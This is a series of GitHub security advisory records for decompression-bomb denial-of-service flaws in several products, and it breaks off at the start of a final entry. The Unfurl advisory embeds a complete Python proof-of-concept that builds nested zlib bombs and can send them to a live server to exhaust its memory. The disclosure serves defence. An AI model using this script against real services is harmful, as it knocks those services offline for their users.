CWE-409

{
  "affected": [],
  "aliases": [
    "CVE-2024-1947"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-23T11:15:23Z",
    "severity": "MODERATE"
  },
  "details": "A denial of service (DoS) condition was discovered in GitLab CE/EE affecting all versions from 13.2.4 before 16.10.6, 16.11 before 16.11.3, and 17.0 before 17.0.1. By leveraging this vulnerability an attacker could create a DoS condition by sending crafted API calls.",
  "id": "GHSA-h2fc-m4gm-6mg8",
  "modified": "2024-05-23T12:31:02Z",
  "published": "2024-05-23T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-1947"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2380264"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/443559"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-103262"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-01T11:17:21Z",
    "severity": "HIGH"
  },
  "details": "Tornado versions before 6.5.9 contain an unbounded memory accumulation vulnerability in CurlAsyncHTTPClient that allows remote attackers to cause denial of service by sending a compressed response. Attackers can send a gzip-encoded decompression bomb that accumulates in memory without size limits, causing the application process to be killed by out-of-memory conditions.",
  "id": "GHSA-h36x-fm6v-f9vx",
  "modified": "2026-10-01T12:31:16Z",
  "published": "2026-10-01T12:31:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/security/advisories/GHSA-chx6-46f5-w4vp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-103262"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tornadoweb/tornado/commit/e412435febba4569c552c5c9054f1bf92bd171a9"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/tornado-before-6.5.9-denial-of-service-via-curlasynchttpclient"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-109226"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-12T14:17:11Z",
    "severity": "HIGH"
  },
  "details": "SGLang through 0.5.21 contains a decompression amplification vulnerability in load_audio that allows remote attackers to exhaust memory by submitting highly compressed audio decoded without duration or sample limits. Attackers can supply small FLAC-encoded silence files through audio_url or audio_data inputs that expand into massive PCM buffers, exhausting worker memory and CPU for denial of service.",
  "id": "GHSA-h3xf-3226-h48g",
  "modified": "2026-10-12T15:32:19Z",
  "published": "2026-10-12T15:32:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-109226"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sgl-project/sglang/issues/43708"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sgl-project/sglang"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sgl-project/sglang/blob/v0.5.21/python/sglang/srt/multimodal/audio_from_video.py#L128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sgl-project/sglang/blob/v0.5.21/python/sglang/srt/multimodal/processors/base_processor.py#L996"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sgl-project/sglang/blob/v0.5.21/python/sglang/srt/utils/common.py#L1783"
    },
    {
      "type": "WEB",
      "url": "https://github.com/sgl-project/sglang/blob/v0.5.21/python/sglang/srt/utils/common.py#L1801-L1803"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/sglang-through-0.5.21-audio-decompression-amplification-via-load-audio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-12588"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T13:18:14Z",
    "severity": "MODERATE"
  },
  "details": "An attacker with access to an HX 10.0.0\u00a0 and previous versions, may send specially-crafted data to the HX console. The malicious detection would then trigger decompression of a large file that consumes an excessive amount of system resources thus causing a Denial of Service.",
  "id": "GHSA-h467-wgwr-q697",
  "modified": "2026-07-14T15:32:15Z",
  "published": "2026-07-14T15:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12588"
    },
    {
      "type": "WEB",
      "url": "https://support.trellix.com/s/article/000015595"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "python-jose"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29370"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-18T15:51:07Z",
    "nvd_published_at": "2025-12-17T16:16:04Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-cjwg-qfpm-7377. This link is maintained to preserve external references.\n\n### Original Description\n\nIn python-jose 3.3.0 (specifically jwe.decrypt), a vulnerability allows an attacker to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.",
  "id": "GHSA-h4pw-wxh7-4vjj",
  "modified": "2026-06-08T19:13:21Z",
  "published": "2025-12-17T18:31:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29370"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mpdavis/python-jose/issues/344"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mpdavis/python-jose/commit/483529ee93a3ab510ab579d4d4cc644dba926ade"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mpdavis/python-jose/releases/tag/3.4.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/python-jose/PYSEC-2025-185.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Duplicate Advisory: python-jose denial of service via compressed JWE content",
  "withdrawn": "2025-12-18T15:51:07Z"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "dfir-unfurl"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "20260405"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40036"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-409"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-29T15:31:30Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe compressed data parser uses `zlib.decompress()` without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.\n\n### Details\n- `unfurl/parsers/parse_compressed.py` calls `zlib.decompress(decoded)` with no size limit.\n- Inputs are accepted from URL components that match base64 patterns.\n- Highly compressible payloads can expand orders of magnitude larger than their compressed size.\n\n### PoC\n1. Generate a payload with `security_poc/poc_decompression_bomb.py --generate-only`.\n2. The script creates a base64-encoded zlib payload embedded in a URL.\n3. Submitting the URL to `/json/visjs` can cause the server to allocate large amounts of memory.\n4. The script includes a `--test` mode but warns it can crash the service.\n\n### PoC Script\n```python\n#!/usr/bin/env python3\n\"\"\"\nUnfurl Decompression Bomb Proof of Concept\n==========================================\n\nThis PoC demonstrates a Denial of Service vulnerability in Unfurl\u0027s\ncompressed data parsing. The zlib.decompress() call has no size limits,\nallowing an attacker to submit small payloads that expand to gigabytes.\n\nVulnerability Location:\n- parse_compressed.py:81-82:\n    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter\n\nAttack Impact:\n- Memory exhaustion\n- Service crash\n- Resource consumption (cloud cost attacks)\n\nUsage:\n    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport zlib\nimport requests\nimport sys\nimport time\n\n\ndef create_compression_bomb(target_size_mb: int = 100) -\u003e bytes:\n    \"\"\"\n    Create a compression bomb - small compressed data that expands to target_size_mb.\n\n    Compression ratio for zeros can be ~1000:1 or better.\n    A 1KB compressed payload can expand to ~1MB.\n    A 100KB payload can expand to ~100MB.\n    \"\"\"\n    # Create highly compressible data (all zeros)\n    target_bytes = target_size_mb * 1024 * 1024\n    uncompressed = b\u0027\\x00\u0027 * target_bytes\n\n    # Compress with maximum compression\n    compressed = zlib.compress(uncompressed, 9)\n\n    compression_ratio = len(uncompressed) / len(compressed)\n\n    print(f\"[*] Created compression bomb:\")\n    print(f\"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)\")\n    print(f\"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)\")\n    print(f\"    Compression ratio: {compression_ratio:.0f}:1\")\n\n    return compressed\n\n\ndef create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -\u003e bytes:\n    \"\"\"\n    Create a nested compression bomb (zip bomb style).\n    Each level multiplies the final size.\n\n    Warning: This can create VERY large expansions.\n    3 levels with 10MB base = 10^3 = 1GB\n    4 levels with 10MB base = 10^4 = 10GB\n    \"\"\"\n    print(f\"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base\")\n\n    # Start with base payload\n    data = b\u0027\\x00\u0027 * (base_size_mb * 1024 * 1024)\n\n    for level in range(levels):\n        data = zlib.compress(data, 9)\n        print(f\"    Level {level + 1}: {len(data):,} bytes\")\n\n    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate\n    print(f\"[*] Theoretical expanded size: ~{theoretical_size} MB\")\n\n    return data\n\n\ndef create_recursive_quine_bomb() -\u003e bytes:\n    \"\"\"\n    Create a recursive decompression scenario.\n    When decompressed, the output is valid zlib that can be decompressed again.\n\n    This exploits any recursive decompression logic.\n    \"\"\"\n    # This is a simplified version - real quine bombs are more complex\n    # The concept: output when decompressed is also valid compressed data\n\n    # Create a pattern that when decompressed resembles compressed data\n    # This is primarily theoretical for this vulnerability\n    base = b\u0027x\\x9c\u0027 + (b\u0027\\x00\u0027 * 1000)  # Fake zlib header + zeros\n    return zlib.compress(base * 1000, 9)\n\n\ndef encode_for_unfurl(compressed: bytes) -\u003e str:\n    \"\"\"\n    Encode compressed data as base64 for URL inclusion.\n    Unfurl\u0027s parse_compressed.py will:\n    1. Detect base64 pattern\n    2. Decode base64\n    3. Attempt zlib.decompress() without size limit\n    \"\"\"\n    return base64.b64encode(compressed).decode(\u0027ascii\u0027)\n\n\ndef create_malicious_url(payload: str) -\u003e str:\n    \"\"\"\n    Create a URL containing the bomb payload.\n    Multiple injection points are possible.\n    \"\"\"\n    # As a query parameter value\n    return f\"https://example.com/page?data={payload}\"\n\n\ndef test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -\u003e dict:\n    \"\"\"\n    Submit bomb to Unfurl and monitor for DoS indicators.\n    \"\"\"\n    api_url = f\"{target_url}/json/visjs\"\n    params = {\u0027url\u0027: payload_url}\n\n    result = {\n        \u0027submitted\u0027: True,\n        \u0027timeout\u0027: False,\n        \u0027error\u0027: None,\n        \u0027response_time\u0027: 0,\n        \u0027memory_exhaustion_likely\u0027: False\n    }\n\n    try:\n        start = time.time()\n        response = requests.get(api_url, params=params, timeout=timeout)\n        result[\u0027response_time\u0027] = time.time() - start\n        result[\u0027status_code\u0027] = response.status_code\n\n        # Check for error responses indicating resource issues\n        if response.status_code == 500:\n            result[\u0027error\u0027] = \u0027Server error - possible memory exhaustion\u0027\n            result[\u0027memory_exhaustion_likely\u0027] = True\n        elif response.status_code == 503:\n            result[\u0027error\u0027] = \u0027Service unavailable - DoS successful\u0027\n            result[\u0027memory_exhaustion_likely\u0027] = True\n\n    except requests.exceptions.Timeout:\n        result[\u0027timeout\u0027] = True\n        result[\u0027error\u0027] = f\u0027Request timed out after {timeout}s - possible DoS\u0027\n        result[\u0027memory_exhaustion_likely\u0027] = True\n    except requests.exceptions.ConnectionError as e:\n        result[\u0027error\u0027] = f\u0027Connection error: {e} - server may have crashed\u0027\n        result[\u0027memory_exhaustion_likely\u0027] = True\n    except Exception as e:\n        result[\u0027error\u0027] = str(e)\n\n    return result\n\n\ndef main():\n    parser = argparse.ArgumentParser(description=\u0027Unfurl Decompression Bomb PoC\u0027)\n    parser.add_argument(\u0027--target\u0027, default=\u0027http://localhost:5000\u0027,\n                        help=\u0027Target Unfurl instance URL\u0027)\n    parser.add_argument(\u0027--size\u0027, type=int, default=100,\n                        help=\u0027Target decompressed size in MB\u0027)\n    parser.add_argument(\u0027--nested\u0027, type=int, default=0,\n                        help=\u0027Nesting levels for nested bomb (0 = simple bomb)\u0027)\n    parser.add_argument(\u0027--test\u0027, action=\u0027store_true\u0027,\n                        help=\u0027Actually send the bomb (DANGEROUS)\u0027)\n    parser.add_argument(\u0027--generate-only\u0027, action=\u0027store_true\u0027,\n                        help=\u0027Only generate payload, do not send\u0027)\n    parser.add_argument(\u0027--output\u0027, help=\u0027Save payload to file\u0027)\n    args = parser.parse_args()\n\n    print(f\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          \u2551\n\u2560\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2563\n\u2551  Target:        {args.target:\u003c45} \u2551\n\u2551  Expanded Size: {args.size:\u003c45} MB \u2551\n\u2551  Nested Levels: {args.nested:\u003c45} \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\"\"\")\n\n    # Generate the bomb\n    if args.nested \u003e 0:\n        print(f\"\\n[!] Creating NESTED bomb - theoretical size could be enormous!\")\n        print(f\"    Be very careful with nested levels \u003e 2\")\n        if args.nested \u003e 3:\n            print(f\"[!] {args.nested} levels could produce terabytes of data!\")\n            confirm = input(\"    Continue? (yes/no): \")\n            if confirm.lower() != \u0027yes\u0027:\n                sys.exit(0)\n        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)\n    else:\n        compressed = create_compression_bomb(args.size)\n\n    # Encode for URL\n    b64_payload = encode_for_unfurl(compressed)\n    malicious_url = create_malicious_url(b64_payload)\n\n    print(f\"\\n[*] Payload Statistics:\")\n    print(f\"    Compressed size: {len(compressed):,} bytes\")\n    print(f\"    Base64 size: {len(b64_payload):,} bytes\")\n    print(f\"    URL length: {len(malicious_url):,} bytes\")\n\n    # Save payload if requested\n    if args.output:\n        with open(args.output, \u0027w\u0027) as f:\n            f.write(malicious_url)\n        print(f\"\\n[+] Payload saved to: {args.output}\")\n\n    # Display truncated payload\n    print(f\"\\n[*] Malicious URL (truncated):\")\n    print(f\"    {malicious_url[:100]}...\")\n    print(f\"    (Full URL is {len(malicious_url):,} characters)\")\n\n    # Save full payload for reference\n    script_dir = os.path.dirname(os.path.abspath(__file__))\n    payload_path = os.path.join(script_dir, \u0027bomb_payload.txt\u0027)\n    with open(payload_path, \u0027w\u0027) as f:\n        f.write(malicious_url)\n    print(f\"\\n[+] Full payload saved to: {payload_path}\")\n\n    # Verify the bomb works locally\n    print(f\"\\n[*] Verifying bomb locally (limited test)...\")\n    try:\n        # Only decompress a small portion to verify it\u0027s valid\n        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max\n        print(f\"    \u2705 Bomb is valid - decompresses to zeros\")\n    except Exception as e:\n        print(f\"    \u274c Error: {e}\")\n        sys.exit(1)\n\n    if args.generate_only:\n        print(\"\\n[*] Generate-only mode. Not sending payload.\")\n        sys.exit(0)\n\n    if not args.test:\n        print(f\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551                      SAFETY CHECK                             \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\nTo actually test this vulnerability, run with --test flag.\n\nManual testing:\n1. Copy the payload URL from {payload_path}\n2. Submit it to the target Unfurl instance\n3. Monitor server memory usage\n\nExpected behavior if vulnerable:\n- Server memory usage spikes dramatically\n- Request hangs or times out\n- Server may crash or become unresponsive\n\nMitigation check:\nThe vulnerability is FIXED if zlib.decompress() is called with\na max_length parameter, e.g.:\n    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit\n\"\"\")\n        sys.exit(0)\n\n    # Actually test (dangerous!)\n    print(f\"\\n[!] SENDING BOMB TO {args.target}\")\n    print(f\"[!] This may crash the target service!\")\n    confirm = input(\"    Type \u0027CONFIRM\u0027 to proceed: \")\n\n    if confirm != \u0027CONFIRM\u0027:\n        print(\"    Aborted.\")\n        sys.exit(0)\n\n    print(f\"\\n[*] Submitting payload...\")\n    result = test_vulnerability(args.target, malicious_url, timeout=60.0)\n\n    print(f\"\\n[*] Results:\")\n    print(f\"    Timeout: {result[\u0027timeout\u0027]}\")\n    print(f\"    Response time: {result[\u0027response_time\u0027]:.2f}s\")\n    print(f\"    Error: {result[\u0027error\u0027]}\")\n    print(f\"    Memory exhaustion likely: {result[\u0027memory_exhaustion_likely\u0027]}\")\n\n    if result[\u0027memory_exhaustion_likely\u0027]:\n        print(f\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551                  VULNERABILITY CONFIRMED                      \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\nThe target appears vulnerable to decompression bomb attacks.\n\nEvidence:\n- {result[\u0027error\u0027] or \u0027Abnormal response observed\u0027}\n\nRecommendation:\nAdd size limits to zlib.decompress() calls:\n\n    # Before (vulnerable):\n    inflated_bytes = zlib.decompress(decoded)\n\n    # After (fixed):\n    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB\n    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)\n\nOr use streaming decompression with size checks:\n\n    decompressor = zlib.decompressobj()\n    chunks = []\n    total_size = 0\n    for chunk in iter(lambda: compressed_data.read(4096), b\u0027\u0027):\n        decompressed = decompressor.decompress(chunk)\n        total_size += len(decompressed)\n        if total_size \u003e MAX_SIZE:\n            raise ValueError(\"Decompressed data too large\")\n        chunks.append(decompressed)\n\"\"\")\n    else:\n        print(\"\\n[*] Target may not be vulnerable or attack was mitigated.\")\n\n\nif __name__ == \u0027__main__\u0027:\n    main()\n```\n\n### Impact\nA remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).",
  "id": "GHSA-h5qv-qjv4-pc5m",
  "modified": "2026-04-10T17:18:36Z",
  "published": "2026-01-29T15:31:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/obsidianforensics/unfurl/security/advisories/GHSA-h5qv-qjv4-pc5m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40036"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RyanDFIR/unfurl/pull/243"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RyanDFIR/unfurl/commit/7cc711a65b106742a21080b755f81c17b5725aa8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RyanDFIR/unfurl/releases/tag/v2026.04"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/obsidianforensics/unfurl"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/dfir-unfurl-denial-of-service-via-unbounded-zlib-decompression"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Unfurl\u0027s unbounded zlib decompression allows decompression bomb DoS"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-79695"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-09T12:17:14Z",
    "severity": "HIGH"
  },
  "details": "Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Improper Handling of Highly Compressed Data (Data Amplification) vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to denial of service.",
  "id": "GHSA-hcmc-232c-p836",
  "modified": "2026-09-09T12:32:14Z",
  "published": "2026-09-09T12:32:14Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79695"
    },
    {
      "type": "WEB",
      "url": "https://www.dell.com/support/kbdoc/en-in/000503426/dsa-2026-382-security-update-for-dell-secure-connect-gateway-virtual-edition-multiple-vulnerabilities"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-59803"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-08T20:16:55Z",
    "severity": "HIGH"
  },
  "details": "rpcx through 1.9.3, fixed in commit 047aec1, contains a denial-of-service vulnerability in protocol.Message.Decode (protocol/message.go). When a message has the compression flag set, the payload is gzip-decompressed via util.Unzip with no limit on the decompressed output size. The only built-in size guard, protocol.MaxMessageLength, is checked against the compressed on-the-wire frame length, not the decompressed size, so it provides no protection. Because decoding (and decompression) occurs in readRequest before authentication, a single unauthenticated connection can send a small (under 2 MB) gzip-compressed message that expands to gigabytes of heap allocation, leading to out-of-memory conditions and service unavailability.",
  "id": "GHSA-hgrm-22x6-r8c8",
  "modified": "2026-07-08T21:30:29Z",
  "published": "2026-07-08T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59803"
    },
    {
      "type": "WEB",
      "url": "https://github.com/smallnest/rpcx/issues/942"
    },
    {
      "type": "WEB",
      "url": "https://github.com/smallnest/rpcx/pull/943"
    },
    {
      "type": "WEB",
      "url": "https://github.com/smallnest/rpcx/commit/047aec18efa7d037105e2b72c36dd2ae05e1acc6"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/rpcx-denial-of-service-via-gzip-decompression-bomb-in-wire-protocol"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-14298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-409"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T09:17:11Z",
    "severity": "MODERATE"
  },
  "details": "Mattermost versions 11.9.x \u003c= 11.9.0, 11.8.x \u003c= 11.8.4, 11.7.x \u003c= 11.7.7, 10.11.x \u003c= 10.11.22 fail to properly limit resource consumption when processing certain user-supplied input, which allows an authenticated user to cause a denial of service. Mattermost Advisory ID: MMSA-2026-00713",
  "id": "GHSA-hr32-2wx7-pp5r",
  "modified": "2026-08-13T09:31:09Z",
  "published": "2026-08-13T09:31:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14298"
    },
    {
      "type": "WEB",
      "url": "https://mattermost.com/security-updates"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "autobahn"
      },
